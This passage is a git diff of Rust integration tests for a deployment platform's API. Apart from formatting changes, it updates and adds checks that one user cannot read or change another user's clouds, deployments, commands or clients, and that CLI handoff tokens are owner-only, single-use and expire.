@@ -5,7 +5,6 @@ use common::{USER_A_ID, USER_A_TOKEN, USER_B_TOKEN};
 /// Chat endpoints use (user_id, project_id) as the lookup key.
 /// Isolation is enforced server-side: the handler always uses the authenticated
 /// user's ID, so User B cannot see or mutate User A's chat history.
-
 const TEST_PROJECT_ID: i32 = 9999;
 
 async fn insert_chat(pool: &sqlx::PgPool, user_id: &str, project_id: i32) {
@@ -122,7 +121,10 @@ async fn test_update_chat_rejects_other_user() {
     let messages = body["item"]["messages"]
         .as_array()
         .expect("messages should be an array");
-    assert_eq!(messages[0]["content"], "hello", "User A's chat must remain unchanged");
+    assert_eq!(
+        messages[0]["content"], "hello",
+        "User A's chat must remain unchanged"
+    );
 }
 
 #[tokio::test]
diff --git a/tests/security_cli.rs b/tests/security_cli.rs
index ba992f24..83fefbf1 100644
--- a/tests/security_cli.rs
+++ b/tests/security_cli.rs
@@ -16,14 +16,10 @@ use reqwest::StatusCode;
 // Helpers
 // ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
 
-async fn seed_full_deployment(
-    pool: &sqlx::PgPool,
-    user_id: &str,
-) -> (i32, i32, String) {
+async fn seed_full_deployment(pool: &sqlx::PgPool, user_id: &str) -> (i32, i32, String) {
     let project_id = common::create_test_project(pool, user_id).await;
     let hash = format!("dpl-{}", uuid::Uuid::new_v4());
-    let deployment_id =
-        common::create_test_deployment(pool, user_id, project_id, &hash).await;
+    let deployment_id = common::create_test_deployment(pool, user_id, project_id, &hash).await;
     (project_id, deployment_id, hash)
 }
 
@@ -33,7 +29,9 @@ async fn seed_full_deployment(
 
 #[tokio::test]
 async fn test_cli_list_projects_user_isolation() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     // Seed: User A gets 3, User B gets 1
@@ -52,7 +50,12 @@ async fn test_cli_list_projects_user_isolation() {
     assert_eq!(resp.status(), StatusCode::OK);
     let body: serde_json::Value = resp.json().await.unwrap();
     let list = body["list"].as_array().expect("expected list");
-    assert_eq!(list.len(), 3, "User A should see exactly 3 projects, got {}", list.len());
+    assert_eq!(
+        list.len(),
+        3,
+        "User A should see exactly 3 projects, got {}",
+        list.len()
+    );
 
     // User B sees exactly 1
     let resp = client
@@ -64,12 +67,19 @@ async fn test_cli_list_projects_user_isolation() {
     assert_eq!(resp.status(), StatusCode::OK);
     let body: serde_json::Value = resp.json().await.unwrap();
     let list = body["list"].as_array().expect("expected list");
-    assert_eq!(list.len(), 1, "User B should see exactly 1 project, got {}", list.len());
+    assert_eq!(
+        list.len(),
+        1,
+        "User B should see exactly 1 project, got {}",
+        list.len()
+    );
 }
 
 #[tokio::test]
 async fn test_cli_list_projects_unauthenticated() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let resp = client
@@ -92,7 +102,9 @@ async fn test_cli_list_projects_unauthenticated() {
 
 #[tokio::test]
 async fn test_cli_list_clouds_user_isolation() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     // Seed: User A has 2 cloud creds, User B has 1
@@ -127,7 +139,9 @@ async fn test_cli_list_clouds_user_isolation() {
 
 #[tokio::test]
 async fn test_cli_get_cloud_cross_user_rejected() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let cloud_id = common::create_test_cloud(&app.db_pool, common::USER_A_ID, "a-htz", "htz").await;
@@ -153,7 +167,9 @@ async fn test_cli_get_cloud_cross_user_rejected() {
 
 #[tokio::test]
 async fn test_cli_list_servers_user_isolation() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     // Servers need a project FK
@@ -191,13 +207,14 @@ async fn test_cli_list_servers_user_isolation() {
 
 #[tokio::test]
 async fn test_cli_get_server_cross_user_rejected() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let proj_a = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
-    let server_id = common::create_test_server(
-        &app.db_pool, common::USER_A_ID, proj_a, "ready", None,
-    ).await;
+    let server_id =
+        common::create_test_server(&app.db_pool, common::USER_A_ID, proj_a, "ready", None).await;
 
     let resp = client
         .get(format!("{}/server/{}", app.address, server_id))
@@ -219,7 +236,9 @@ async fn test_cli_get_server_cross_user_rejected() {
 
 #[tokio::test]
 async fn test_cli_list_deployments_user_isolation() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (_, _, hash_a) = seed_full_deployment(&app.db_pool, common::USER_A_ID).await;
@@ -254,14 +273,19 @@ async fn test_cli_list_deployments_user_isolation() {
 
 #[tokio::test]
 async fn test_cli_get_deployment_by_hash_cross_user_rejected() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (_, _, hash_a) = seed_full_deployment(&app.db_pool, common::USER_A_ID).await;
 
     // User B tries to fetch User A's deployment by hash
     let resp = client
-        .get(format!("{}/api/v1/deployments/hash/{}", app.address, hash_a))
+        .get(format!(
+            "{}/api/v1/deployments/hash/{}",
+            app.address, hash_a
+        ))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .send()
         .await
@@ -276,7 +300,9 @@ async fn test_cli_get_deployment_by_hash_cross_user_rejected() {
 
 #[tokio::test]
 async fn test_cli_get_deployment_by_id_cross_user_rejected() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (_, did_a, _) = seed_full_deployment(&app.db_pool, common::USER_A_ID).await;
@@ -301,7 +327,9 @@ async fn test_cli_get_deployment_by_id_cross_user_rejected() {
 
 #[tokio::test]
 async fn test_cli_deploy_cross_user_project_rejected() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let project_a = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
@@ -332,7 +360,9 @@ async fn test_cli_deploy_cross_user_project_rejected() {
 
 #[tokio::test]
 async fn test_cli_deploy_with_cross_user_cloud_rejected() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     // User B's project + User A's cloud credentials
@@ -346,7 +376,10 @@ async fn test_cli_deploy_with_cross_user_cloud_rejected() {
 
     // User B tries to deploy their project using User A's cloud creds
     let resp = client
-        .post(format!("{}/project/{}/deploy/{}", app.address, proj_b, cloud_a))
+        .post(format!(
+            "{}/project/{}/deploy/{}",
+            app.address, proj_b, cloud_a
+        ))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .json(&deploy_body)
         .send()
@@ -369,7 +402,9 @@ async fn test_cli_deploy_with_cross_user_cloud_rejected() {
 
 #[tokio::test]
 async fn test_cli_destroy_cross_user_deployment_rejected() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (_, did_a, _) = seed_full_deployment(&app.db_pool, common::USER_A_ID).await;
@@ -394,7 +429,9 @@ async fn test_cli_destroy_cross_user_deployment_rejected() {
 
 #[tokio::test]
 async fn test_cli_destroy_own_deployment_allowed() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (_, did_a, _) = seed_full_deployment(&app.db_pool, common::USER_A_ID).await;
@@ -423,7 +460,9 @@ async fn test_cli_destroy_own_deployment_allowed() {
 
 #[tokio::test]
 async fn test_cli_enqueue_command_cross_user_rejected() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (_, _, hash_a) = seed_full_deployment(&app.db_pool, common::USER_A_ID).await;
@@ -458,7 +497,9 @@ async fn test_cli_enqueue_command_cross_user_rejected() {
 
 #[tokio::test]
 async fn test_cli_delete_project_cross_user_rejected() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let proj_a = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
@@ -495,7 +536,9 @@ async fn test_cli_delete_project_cross_user_rejected() {
 
 #[tokio::test]
 async fn test_cli_delete_cloud_cross_user_rejected() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let cloud_a = common::create_test_cloud(&app.db_pool, common::USER_A_ID, "a-htz", "htz").await;
@@ -520,13 +563,14 @@ async fn test_cli_delete_cloud_cross_user_rejected() {
 
 #[tokio::test]
 async fn test_cli_delete_server_cross_user_rejected() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let proj_a = common::create_test_project(&app.db_pool, common::USER_A_ID).await;
-    let server_a = common::create_test_server(
-        &app.db_pool, common::USER_A_ID, proj_a, "ready", None,
-    ).await;
+    let server_a =
+        common::create_test_server(&app.db_pool, common::USER_A_ID, proj_a, "ready", None).await;
 
     let resp = client
         .delete(format!("{}/server/{}", app.address, server_a))
@@ -548,7 +592,9 @@ async fn test_cli_delete_server_cross_user_rejected() {
 
 #[tokio::test]
 async fn test_cli_endpoints_reject_unauthenticated() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let endpoints = vec![
@@ -568,7 +614,9 @@ async fn test_cli_endpoints_reject_unauthenticated() {
         assert!(
             status == StatusCode::UNAUTHORIZED || status == StatusCode::FORBIDDEN,
             "{} {} should reject unauthenticated (got {})",
-            method, url, status
+            method,
+            url,
+            status
         );
     }
 }
diff --git a/tests/security_client.rs b/tests/security_client.rs
index 9cc26eaf..e4af9a9d 100644
--- a/tests/security_client.rs
+++ b/tests/security_client.rs
@@ -5,11 +5,10 @@ use sqlx::Row;
 
 /// User A creates a client. User B tries to update/enable/disable → rejected (400).
 /// Verifies cross-user data isolation on client endpoints.
-
 async fn insert_client(pool: &sqlx::PgPool, user_id: &str) -> i32 {
     let rec = sqlx::query(
-        "INSERT INTO client (user_id, title, secret, enabled) \
-         VALUES ($1, 'test-client', 'secret123', true) RETURNING id",
+        "INSERT INTO client (user_id, secret, created_at, updated_at) \
+         VALUES ($1, 'secret123', NOW(), NOW()) RETURNING id",
     )
     .bind(user_id)
     .fetch_one(pool)
@@ -60,11 +59,11 @@ async fn test_update_client_rejects_other_user() {
         .await
         .expect("Failed to send request");
 
-    // Handler returns 400 Bad Request for non-owner
+    // Handler returns 404 Not Found for non-owner (IDOR protection)
     assert_eq!(
         resp.status().as_u16(),
-        400,
-        "User B updating User A's client should return 400"
+        404,
+        "User B updating User A's client should return 404"
     );
 }
 
@@ -77,8 +76,8 @@ async fn test_enable_client_rejects_other_user() {
 
     // Create a disabled client (secret = NULL) for User A
     let rec = sqlx::query(
-        "INSERT INTO client (user_id, secret, enabled) \
-         VALUES ($1, NULL, false) RETURNING id",
+        "INSERT INTO client (user_id, secret, created_at, updated_at) \
+         VALUES ($1, NULL, NOW(), NOW()) RETURNING id",
     )
     .bind(USER_A_ID)
     .fetch_one(&app.db_pool)
@@ -95,8 +94,8 @@ async fn test_enable_client_rejects_other_user() {
 
     assert_eq!(
         resp.status().as_u16(),
-        400,
-        "User B enabling User A's client should return 400"
+        404,
+        "User B enabling User A's client should return 404"
     );
 }
 
@@ -118,8 +117,8 @@ async fn test_disable_client_rejects_other_user() {
 
     assert_eq!(
         resp.status().as_u16(),
-        400,
-        "User B disabling User A's client should return 400"
+        404,
+        "User B disabling User A's client should return 404"
     );
 }
 
diff --git a/tests/security_cloud.rs b/tests/security_cloud.rs
index 7848a2c3..4baafca4 100644
--- a/tests/security_cloud.rs
+++ b/tests/security_cloud.rs
@@ -2,7 +2,6 @@ mod common;
 
 /// IDOR security tests for /cloud endpoints.
 /// Verify that User B cannot list, read, update, or delete User A's cloud credentials.
-
 #[tokio::test]
 async fn test_list_clouds_only_returns_own() {
     let Some(app) = common::spawn_app_two_users().await else {
@@ -12,13 +11,14 @@ async fn test_list_clouds_only_returns_own() {
     // User A creates 2 clouds, User B creates 1
     let _ca1 = common::create_test_cloud(&app.db_pool, common::USER_A_ID, "a-htz", "htz").await;
     let _ca2 = common::create_test_cloud(&app.db_pool, common::USER_A_ID, "a-aws", "aws").await;
-    let _cb1 = common::create_test_cloud(&app.db_pool, common::USER_B_ID, "b-do", "digitalocean").await;
+    let _cb1 =
+        common::create_test_cloud(&app.db_pool, common::USER_B_ID, "b-do", "digitalocean").await;
 
     let client = reqwest::Client::new();
 
     // User A lists → sees exactly 2
     let resp = client
-        .get(&format!("{}/cloud", &app.address))
+        .get(format!("{}/cloud", &app.address))
         .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
         .send()
         .await
@@ -30,7 +30,7 @@ async fn test_list_clouds_only_returns_own() {
 
     // User B lists → sees exactly 1
     let resp = client
-        .get(&format!("{}/cloud", &app.address))
+        .get(format!("{}/cloud", &app.address))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .send()
         .await
@@ -52,7 +52,7 @@ async fn test_get_cloud_rejects_other_user() {
 
     // User B tries to GET User A's cloud → 404
     let resp = client
-        .get(&format!("{}/cloud/{}", &app.address, cloud_id))
+        .get(format!("{}/cloud/{}", &app.address, cloud_id))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .send()
         .await
@@ -75,7 +75,7 @@ async fn test_update_cloud_rejects_other_user() {
 
     // User B tries to PUT User A's cloud → 400 (bad_request = IDOR guard)
     let resp = client
-        .put(&format!("{}/cloud/{}", &app.address, cloud_id))
+        .put(format!("{}/cloud/{}", &app.address, cloud_id))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .header("Content-Type", "application/json")
         .body(r#"{"provider":"htz","cloud_token":"stolen","save_token":true}"#)
@@ -100,7 +100,7 @@ async fn test_delete_cloud_rejects_other_user() {
 
     // User B tries to DELETE User A's cloud → 400 (bad_request = IDOR guard)
     let resp = client
-        .delete(&format!("{}/cloud/{}", &app.address, cloud_id))
+        .delete(format!("{}/cloud/{}", &app.address, cloud_id))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .send()
         .await
@@ -123,7 +123,7 @@ async fn test_owner_can_access_own_cloud() {
 
     // User A GETs own cloud → 200
     let resp = client
-        .get(&format!("{}/cloud/{}", &app.address, cloud_id))
+        .get(format!("{}/cloud/{}", &app.address, cloud_id))
         .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
         .send()
         .await
diff --git a/tests/security_commands.rs b/tests/security_commands.rs
index cc308495..f566f019 100644
--- a/tests/security_commands.rs
+++ b/tests/security_commands.rs
@@ -8,14 +8,10 @@ use reqwest::StatusCode;
 
 /// Seed a deployment and insert a command for the given user.
 /// Returns (deployment_hash, command_id).
-async fn seed_deployment_with_command(
-    pool: &sqlx::PgPool,
-    user_id: &str,
-) -> (String, String) {
+async fn seed_deployment_with_command(pool: &sqlx::PgPool, user_id: &str) -> (String, String) {
     let project_id = common::create_test_project(pool, user_id).await;
     let hash = format!("dpl-{}", uuid::Uuid::new_v4());
-    let _deployment_id =
-        common::create_test_deployment(pool, user_id, project_id, &hash).await;
+    let _deployment_id = common::create_test_deployment(pool, user_id, project_id, &hash).await;
 
     let command_id = format!("cmd-{}", uuid::Uuid::new_v4());
     sqlx::query(
@@ -39,7 +35,9 @@ async fn seed_deployment_with_command(
 /// Currently the endpoint performs no ownership check on the deployment.
 #[tokio::test]
 async fn test_list_commands_rejects_other_user() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (hash_a, _cmd_id) = seed_deployment_with_command(&app.db_pool, common::USER_A_ID).await;
@@ -72,7 +70,9 @@ async fn test_list_commands_rejects_other_user() {
 /// User B should NOT be able to fetch a specific command from User A's deployment.
 #[tokio::test]
 async fn test_get_command_detail_rejects_other_user() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (hash_a, cmd_id) = seed_deployment_with_command(&app.db_pool, common::USER_A_ID).await;
@@ -98,7 +98,9 @@ async fn test_get_command_detail_rejects_other_user() {
 
 #[tokio::test]
 async fn test_owner_can_list_own_commands() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (hash_a, cmd_id) = seed_deployment_with_command(&app.db_pool, common::USER_A_ID).await;
@@ -115,7 +117,8 @@ async fn test_owner_can_list_own_commands() {
     let body: serde_json::Value = resp.json().await.unwrap();
     let list = body["list"].as_array().expect("list should be an array");
     assert!(
-        list.iter().any(|c| c["command_id"].as_str() == Some(&cmd_id)),
+        list.iter()
+            .any(|c| c["command_id"].as_str() == Some(&cmd_id)),
         "Owner should see their own command in the list"
     );
 
diff --git a/tests/security_deployment.rs b/tests/security_deployment.rs
index 66274a31..bf370581 100644
--- a/tests/security_deployment.rs
+++ b/tests/security_deployment.rs
@@ -6,14 +6,10 @@ mod common;
 use reqwest::StatusCode;
 
 /// Helper: create a project + deployment for the given user, return (project_id, deployment_id, hash).
-async fn seed_deployment(
-    pool: &sqlx::PgPool,
-    user_id: &str,
-) -> (i32, i32, String) {
+async fn seed_deployment(pool: &sqlx::PgPool, user_id: &str) -> (i32, i32, String) {
     let project_id = common::create_test_project(pool, user_id).await;
     let hash = format!("dpl-{}", uuid::Uuid::new_v4());
-    let deployment_id =
-        common::create_test_deployment(pool, user_id, project_id, &hash).await;
+    let deployment_id = common::create_test_deployment(pool, user_id, project_id, &hash).await;
     (project_id, deployment_id, hash)
 }
 
@@ -21,7 +17,9 @@ async fn seed_deployment(
 
 #[tokio::test]
 async fn test_list_deployments_only_returns_own() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     // Seed one deployment per user
@@ -59,7 +57,9 @@ async fn test_list_deployments_only_returns_own() {
 
 #[tokio::test]
 async fn test_get_deployment_by_id_rejects_other_user() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (_pid, did, _hash) = seed_deployment(&app.db_pool, common::USER_A_ID).await;
@@ -83,7 +83,9 @@ async fn test_get_deployment_by_id_rejects_other_user() {
 
 #[tokio::test]
 async fn test_get_deployment_by_hash_rejects_other_user() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (_pid, _did, hash) = seed_deployment(&app.db_pool, common::USER_A_ID).await;
@@ -102,17 +104,75 @@ async fn test_get_deployment_by_hash_rejects_other_user() {
     );
 }
 
+#[tokio::test]
+async fn test_get_deployment_state_by_hash_rejects_other_user() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let (_pid, _did, hash) = seed_deployment(&app.db_pool, common::USER_A_ID).await;
+
+    let resp = client
+        .get(format!("{}/api/v1/deployments/{}/state", app.address, hash))
+        .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
+        .send()
+        .await
+        .expect("request failed");
+
+    assert_eq!(
+        resp.status(),
+        StatusCode::NOT_FOUND,
+        "User B must not access User A's deployment state by hash"
+    );
+    let body: serde_json::Value = resp.json().await.unwrap();
+    assert_eq!(body["schemaVersion"].as_str().unwrap(), "v1alpha1");
+    assert_eq!(body["code"].as_str().unwrap(), "deployment_not_found");
+    assert_eq!(body["remediationClass"].as_str().unwrap(), "state");
+}
+
+#[tokio::test]
+async fn test_get_deployment_events_by_hash_rejects_other_user() {
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let (_pid, _did, hash) = seed_deployment(&app.db_pool, common::USER_A_ID).await;
+
+    let resp = client
+        .get(format!(
+            "{}/api/v1/deployments/{}/events",
+            app.address, hash
+        ))
+        .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
+        .send()
+        .await
+        .expect("request failed");
+
+    assert_eq!(resp.status(), StatusCode::NOT_FOUND);
+    let body: serde_json::Value = resp.json().await.unwrap();
+    assert_eq!(body["schemaVersion"].as_str().unwrap(), "v1alpha1");
+    assert_eq!(body["code"].as_str().unwrap(), "deployment_not_found");
+    assert_eq!(body["remediationClass"].as_str().unwrap(), "state");
+}
+
 // ── Get by project ──────────────────────────────────────────────────────
 
 #[tokio::test]
 async fn test_get_deployment_by_project_rejects_other_user() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (pid, _did, _hash) = seed_deployment(&app.db_pool, common::USER_A_ID).await;
 
     let resp = client
-        .get(format!("{}/api/v1/deployments/project/{}", app.address, pid))
+        .get(format!(
+            "{}/api/v1/deployments/project/{}",
+            app.address, pid
+        ))
         .header("Authorization", format!("Bearer {}", common::USER_B_TOKEN))
         .send()
         .await
@@ -129,7 +189,9 @@ async fn test_get_deployment_by_project_rejects_other_user() {
 
 #[tokio::test]
 async fn test_owner_can_access_own_deployment() {
-    let Some(app) = common::spawn_app_two_users().await else { return };
+    let Some(app) = common::spawn_app_two_users().await else {
+        return;
+    };
     let client = reqwest::Client::new();
 
     let (_pid, did, hash) = seed_deployment(&app.db_pool, common::USER_A_ID).await;
@@ -153,4 +215,20 @@ async fn test_owner_can_access_own_deployment() {
         .await
         .expect("request failed");
     assert_eq!(resp.status(), StatusCode::OK);
+
+    let resp = client
+        .get(format!("{}/api/v1/deployments/{}/state", app.address, hash))
+        .header("Authorization", format!("Bearer {}", common::USER_A_TOKEN))
+        .send()
+        .await
+        .expect("request failed");
+    assert_eq!(resp.status(), StatusCode::OK);
+    let body: serde_json::Value = resp.json().await.unwrap();
+    assert_eq!(body["item"]["schemaVersion"].as_str().unwrap(), "v1alpha1");
+    assert_eq!(
+        body["item"]["deployment"]["deploymentHash"]
+            .as_str()
+            .unwrap(),
+        hash
+    );
 }
diff --git a/tests/security_handoff.rs b/tests/security_handoff.rs
new file mode 100644
index 00000000..fed7fe58
--- /dev/null
+++ b/tests/security_handoff.rs
@@ -0,0 +1,271 @@
+//! Security and lifecycle tests for CLI handoff endpoints.
+
+mod common;
+
+use chrono::{DateTime, Duration, Utc};
+use common::{
+    create_test_deployment, create_test_project, spawn_app_two_users,
+    spawn_app_two_users_with_user_service, USER_A_ID, USER_A_TOKEN, USER_B_TOKEN,
+};
+use wiremock::matchers::{header, method, path};
+use wiremock::{Mock, MockServer, ResponseTemplate};
+
+#[tokio::test]
+async fn test_owner_can_mint_and_resolve_handoff() {
+    let Some(app) = spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let project_id = create_test_project(&app.db_pool, USER_A_ID).await;
+    let deployment_id =
+        create_test_deployment(&app.db_pool, USER_A_ID, project_id, "handoff-dep-001").await;
+
+    let mint = client
+        .post(format!("{}/api/v1/handoff/mint", &app.address))
+        .header("Authorization", format!("Bearer {}", USER_A_TOKEN))
+        .json(&serde_json::json!({
+            "deployment_id": deployment_id,
+            "deployment_hash": "handoff-dep-001"
+        }))
+        .send()
+        .await
+        .expect("Failed to mint handoff");
+
+    assert_eq!(mint.status(), 200, "Mint should succeed for owner");
+    let minted: serde_json::Value = mint.json().await.expect("Mint response must be json");
+    let token = minted["item"]["token"]
+        .as_str()
+        .expect("Mint response should include handoff token");
+    let command = minted["item"]["command"]
+        .as_str()
+        .expect("Mint response should include CLI command");
+    let expires_at = DateTime::parse_from_rfc3339(
+        minted["item"]["expires_at"]
+            .as_str()
+            .expect("Mint response should include expires_at"),
+    )
+    .expect("expires_at should be valid RFC3339")
+    .with_timezone(&Utc);
+    assert!(command.contains("stacker connect"));
+    assert!(command.contains(token));
+    assert!(
+        expires_at >= Utc::now() + Duration::minutes(119)
+            && expires_at <= Utc::now() + Duration::minutes(121),
+        "Minted handoff should expire about two hours after mint, got {expires_at}"
+    );
+
+    let resolve = client
+        .post(format!("{}/api/v1/handoff/resolve", &app.address))
+        .json(&serde_json::json!({ "token": token }))
+        .send()
+        .await
+        .expect("Failed to resolve handoff");
+
+    assert_eq!(resolve.status(), 200, "Resolve should succeed");
+    let resolved: serde_json::Value = resolve.json().await.expect("Resolve response must be json");
+    assert_eq!(resolved["item"]["kind"], "deployment");
+    assert_eq!(resolved["item"]["deployment"]["id"], deployment_id);
+    assert_eq!(resolved["item"]["deployment"]["hash"], "handoff-dep-001");
+    assert_eq!(resolved["item"]["project"]["id"], project_id);
+    assert_eq!(
+        resolved["item"]["credentials"]["access_token"],
+        USER_A_TOKEN
+    );
+}
+
+#[tokio::test]
+async fn test_authenticated_user_can_mint_and_resolve_account_handoff() {
+    let Some(app) = spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let mint = client
+        .post(format!("{}/api/v1/handoff/mint/account", &app.address))
+        .header("Authorization", format!("Bearer {}", USER_A_TOKEN))
+        .send()
+        .await
+        .expect("Failed to mint account handoff");
+
+    assert_eq!(mint.status(), 200, "Account handoff mint should succeed");
+    let minted: serde_json::Value = mint.json().await.expect("Mint response must be json");
+    let token = minted["item"]["token"]
+        .as_str()
+        .expect("Mint response should include handoff token");
+
+    let resolve = client
+        .post(format!("{}/api/v1/handoff/resolve", &app.address))
+        .json(&serde_json::json!({ "token": token }))
+        .send()
+        .await
+        .expect("Failed to resolve account handoff");
+
+    assert_eq!(
+        resolve.status(),
+        200,
+        "Account handoff resolve should succeed"
+    );
+    let resolved: serde_json::Value = resolve.json().await.expect("Resolve response must be json");
+    assert_eq!(resolved["item"]["kind"], "account");
+    assert_eq!(resolved["item"]["deployment"]["target"], "account");
+    assert_eq!(
+        resolved["item"]["credentials"]["access_token"],
+        USER_A_TOKEN
+    );
+    assert!(resolved["item"]["stacker_yml"].is_null());
+    assert!(resolved["item"]["server"].is_null());
+}
+
+#[tokio::test]
+async fn test_handoff_resolve_is_single_use() {
+    let Some(app) = spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let project_id = create_test_project(&app.db_pool, USER_A_ID).await;
+    let deployment_id =
+        create_test_deployment(&app.db_pool, USER_A_ID, project_id, "handoff-dep-once").await;
+
+    let mint = client
+        .post(format!("{}/api/v1/handoff/mint", &app.address))
+        .header("Authorization", format!("Bearer {}", USER_A_TOKEN))
+        .json(&serde_json::json!({
+            "deployment_id": deployment_id
+        }))
+        .send()
+        .await
+        .expect("Failed to mint handoff");
+    let minted: serde_json::Value = mint.json().await.expect("Mint response must be json");
+    let token = minted["item"]["token"]
+        .as_str()
+        .expect("Mint response should include handoff token");
+
+    let first = client
+        .post(format!("{}/api/v1/handoff/resolve", &app.address))
+        .json(&serde_json::json!({ "token": token }))
+        .send()
+        .await
+        .expect("Failed to resolve handoff the first time");
+    assert_eq!(first.status(), 200);
+
+    let second = client
+        .post(format!("{}/api/v1/handoff/resolve", &app.address))
+        .json(&serde_json::json!({ "token": token }))
+        .send()
+        .await
+        .expect("Failed to resolve handoff the second time");
+    assert_eq!(second.status(), 404, "Resolved token must not be reusable");
+}
+
+#[tokio::test]
+async fn test_handoff_mint_rejects_other_user() {
+    let Some(app) = spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let project_id = create_test_project(&app.db_pool, USER_A_ID).await;
+    let deployment_id =
+        create_test_deployment(&app.db_pool, USER_A_ID, project_id, "handoff-dep-owner").await;
+
+    let resp = client
+        .post(format!("{}/api/v1/handoff/mint", &app.address))
+        .header("Authorization", format!("Bearer {}", USER_B_TOKEN))
+        .json(&serde_json::json!({
+            "deployment_id": deployment_id,
+            "deployment_hash": "handoff-dep-owner"
+        }))
+        .send()
+        .await
+        .expect("Failed to send mint request");
+
+    assert!(
+        resp.status() == 403 || resp.status() == 404,
+        "Other user should not mint handoff for another user's deployment. Got: {}",
+        resp.status()
+    );
+}
+
+#[tokio::test]
+async fn test_handoff_mint_rejects_unauthenticated() {
+    let Some(app) = spawn_app_two_users().await else {
+        return;
+    };
+    let client = reqwest::Client::new();
+
+    let resp = client
+        .post(format!("{}/api/v1/handoff/mint", &app.address))
+        .json(&serde_json::json!({ "deployment_hash": "handoff-no-auth" }))
+        .send()
+        .await
+        .expect("Failed to send unauthenticated mint request");
+
+    assert_eq!(resp.status(), 403);
+}
+
+#[tokio::test]
